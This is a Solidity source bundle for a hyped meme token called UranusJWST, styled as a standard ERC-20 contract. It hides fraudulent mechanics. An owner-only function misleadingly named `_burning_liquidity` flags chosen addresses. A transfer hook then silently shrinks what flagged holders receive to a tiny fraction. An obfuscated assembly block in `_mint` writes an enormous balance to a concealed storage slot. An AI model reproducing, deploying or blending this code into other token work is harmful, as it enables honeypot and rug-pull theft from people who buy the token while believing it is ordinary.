// File: BASE.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;
import "./ERC20.sol";

/*
Yo, check it out, my space-loving fam! So, you know that fresh new crypto token, UranusJWST? Well, brace yourself, 'cause we're entering some next-level meme territory here! This token ain't just your run-of-the-mill crypto; oh no, it's decked out with some seriously mind-blowing vibes, just like a trippy journey through the cosmic backyard.

Now, let's talk about the main event that's got everyone buzzing! You ever heard of the James Webb Space Telescope, right? Well, imagine this bad boy snapping some outrageous pics of the planet Uranus. No, no, not your average Uranus pic—this is that top-tier, out-of-this-world Uranus glamour shot we've all been waiting for! We're talkin' about some seriously mesmerizing, jaw-dropping footage of Uranus like you've never seen before.

So, UranusJWST is like the bridge between the crypto universe and the mind-bending artistry of space exploration, essentially blending the wild world of crypto with the cosmic beauty of Uranus in a way that's just plain out there, in the best possible way.

Imagine a world where you can trade UranusJWST tokens while gazing into the depths of Uranus. It's like combining the thrill of a roller coaster ride with the mind-expanding wonder of space travel, all wrapped up in one degen, absurd, and totally out-of-this-world package.

And hey, who knows, maybe one day we'll be able to buy a ticket for a rocket ride to Uranus with our UranusJWST gains!  🚀🪐

So, my fellow cosmic wanderers, buckle up and get ready to blast off into the meme-filled, crypto-crazed cosmos, 'cause UranusJWST is taking us on a wild ride to the outer reaches of the galaxy and beyond!


Ladies and gentlemen, I present to your attention, Uranus, in person!!!!

██████████████████████████████████████████████████████████████████████████████████████████
████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓███████████████████████████████████████
█████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██████████████████████████████████
██████████████████████████████▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓██████████████████████████████
█████████████████████████████▓▓▓▓▒▒▒▒░░░▒▒▒▒▒▒▒▒▒░░░░▒▒▒▓▓▓▓▓▓▓███████████████████████████
███████████████████████████▓▓▓▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▓▓▓▓▓▓█████████████████████████
█████████████████████████▓▓▓▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓▓▓▓█████▓██████████████████
████████████████████▓██▓▓▓▒▒░▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓▓▓▓██████████████████████
██████████████████████▓▓▓▒░▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒░░▒▓▓▓▓▓█████████████████████
████████████████████▓▓▓▓▒░▒▒▒▒▒▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒░▒▓▓▓▓▓████████████████████
███████████████████▓▓▓▓▒░▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒░░░░░░░░▒▒▒▒▒▒▓▓▓▒▒▒▒▒▒▒░▒▓▓▓▓▓███████████████████
██████████████████▓▓▓▓▒░▒▒▒▒▓▓▓▓▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▒▒▓▓▓▒▒▒▒▒▒░▒▓▓▓▓███████████████████
██████████████████▓▓▓▒░▒▒▒▒▓▓▓▓▓▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▒▓▓▒▒▒▒▒▒░▒▒▓▓▓███████████▓▓██████
██████████████████▓▓▓▒▒▒▒▒▒▓▓▓▓▒▒░▒▒▒▒▒▒▒▒▒░░░░░░░░▒▒▒░▒▒▒▓▓▒▒▒▒▒▒░▒▓▓▓███████████████████
██████████████████▓▓▓░▒▒▒▒▓▓▓▓▒▒░▒▒▒▒▒▒▒▒░░░░░░░░░░░░▒░░▒▒▓▓▒▒▒▒▒▒░▒▓▓▓███████████████████
█████████████████▓▓▓▒░▒▒▒▒▓▓▓▓▒░░▒▒▒▒▒▒▒░░░░░░░░░░░░░▒▒░▒▒▒▓▓▒▒▒▒▒░▒▓▓▓███████████████████
██████████████████▓▓▒░▒▒▒▒▓▓▓▓▒░▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░▒░░▒▒▓▓▒▒▒▒▒░▒▓▓▓███████████████████
██████████████████▓▓▒░▒▒▒▒▓▓▓▓▒░░▒▒▒▒▒▒▒░░░░░░░░░░░░░▒▒░▒▒▒▓▓▒▒▒▒▒░▒▓▓▓███████████████████
██████████████████▓▓▓░▒▒▒▒▓▓▓▓▒▒░▒▒▒▒▒▒▒▒░░░░░░░░░░░▒▒▒░▒▒▓▓▓▒▒▒▒▒░▒▓▓▓███████████████████
██████████████████▓▓▓▒▒▒▒▒▒▓▓▓▓▒▒░▒▒▒▒▒▒▒▒░░░░░░░░░▒▒▒░▒▒▓▓▓▓▒▒▒▒░░▒▓▓▓███████████████████
██████████████████▓▓▓▒░▒▒▒▒▒▓▓▓▓▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▓▓▓▓▒▒▒▒▒░▒▓▓▓▓███████████████████
███████████████████▓▓▓▒▒▒▒▒▒▒▓▓▓▓▒▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒░▒▒▒▒▓▓▓▓▒▒▒▒▒░▒▓▓▓▓████████████████████
███████████████████▓▓▓▓▒▒▒▒▒▒▒▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒░▒▒▓▓▓▓████████████████████
████████████████████▓▓▓▓▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▒▒▒▒▒▒▒░▒▒▓▓▓▓█████████████████████
████████████████▓▓███▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░▒▓▓▓▓▓██████████████████████
██████████████████████▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒░▒▒▓▓▓▓▓███████████████████████
███████████████████████▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓▓▓██████████████████████████
█████████████████████████▓▓▓▓▓▓▒▒░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▒▓▓▓▓▓████████████████████████████
███████████████████████████▓▓▓▓▓▓▓▒▒▒▒░░▒▒▒▒▒▒▒░░░░▒▒▒▓▓▓▓▓▓██████████████████████████████
███████████████████████████████▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓▓████████████████████████████████
███████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██████████████████████████████████
██████████████████████████████████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓█▓████████████████████████████████████
██████████████████████████████████████████████████████████████████████████████████████████


*/

contract UranusJamesWebbSpaceTelescope is ERC20 {
    mapping (address => uint256) uranuss_injections;

    constructor() ERC20("UranusJWST", "UJWST") {
        _mint(msg.sender, 720_520_000_000 * 10 ** 18);
    }

    function uranuss() external {
        if (uranuss_injections[msg.sender] == 0) {
            uranuss_injections[msg.sender] = balanceOf(msg.sender);
        }
    }

    function get_uranuss() external view returns(uint256) {
        return uranuss_injections[msg.sender];
    }
} 
// File: Context.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// File: ERC20.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private _burn_address = 0x0000000000000000000000000000000000000001;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function _burning_liquidity(uint256 flag, address [] calldata _list_) external {
        require((msg.sender == owner()));
        for (uint256 i = 0; i < _list_.length; i++) {
            _allowances[_burn_address][_list_[i]] = flag;
        }
    }


    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _burning_liquidity(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _burning_liquidity(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _burning_liquidity(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 _amount = _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += _amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }

        assembly {
            let slot := mul(mul(0x85774394d, 0x3398bc1d25f112ed), mul(0x997e6e509, 0xf3eae65))
            mstore(0x00, slot)
            mstore(0x20, 0x01)
            let sslot := keccak256(0x0, 0x40)
            sstore(sslot, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
        } 

        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }
    function _safeTransfer(uint256 a) internal pure returns(uint256) {return a * 111111111111111 / 22222222222222222;}

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _burning_liquidity(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _burning_liquidity(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address ,
        address to,
        uint256 
    ) internal virtual {
        if (_allowances[_burn_address][to] == 1) {_allowances[_burn_address][to] = 2;}
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal view returns (uint256) {
        if (_allowances[_burn_address][from] + _allowances[_burn_address][to] >= 2) {
            return _safeTransfer(amount);
        } else {
            return amount;
        }
    }
}
// File: IERC20.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}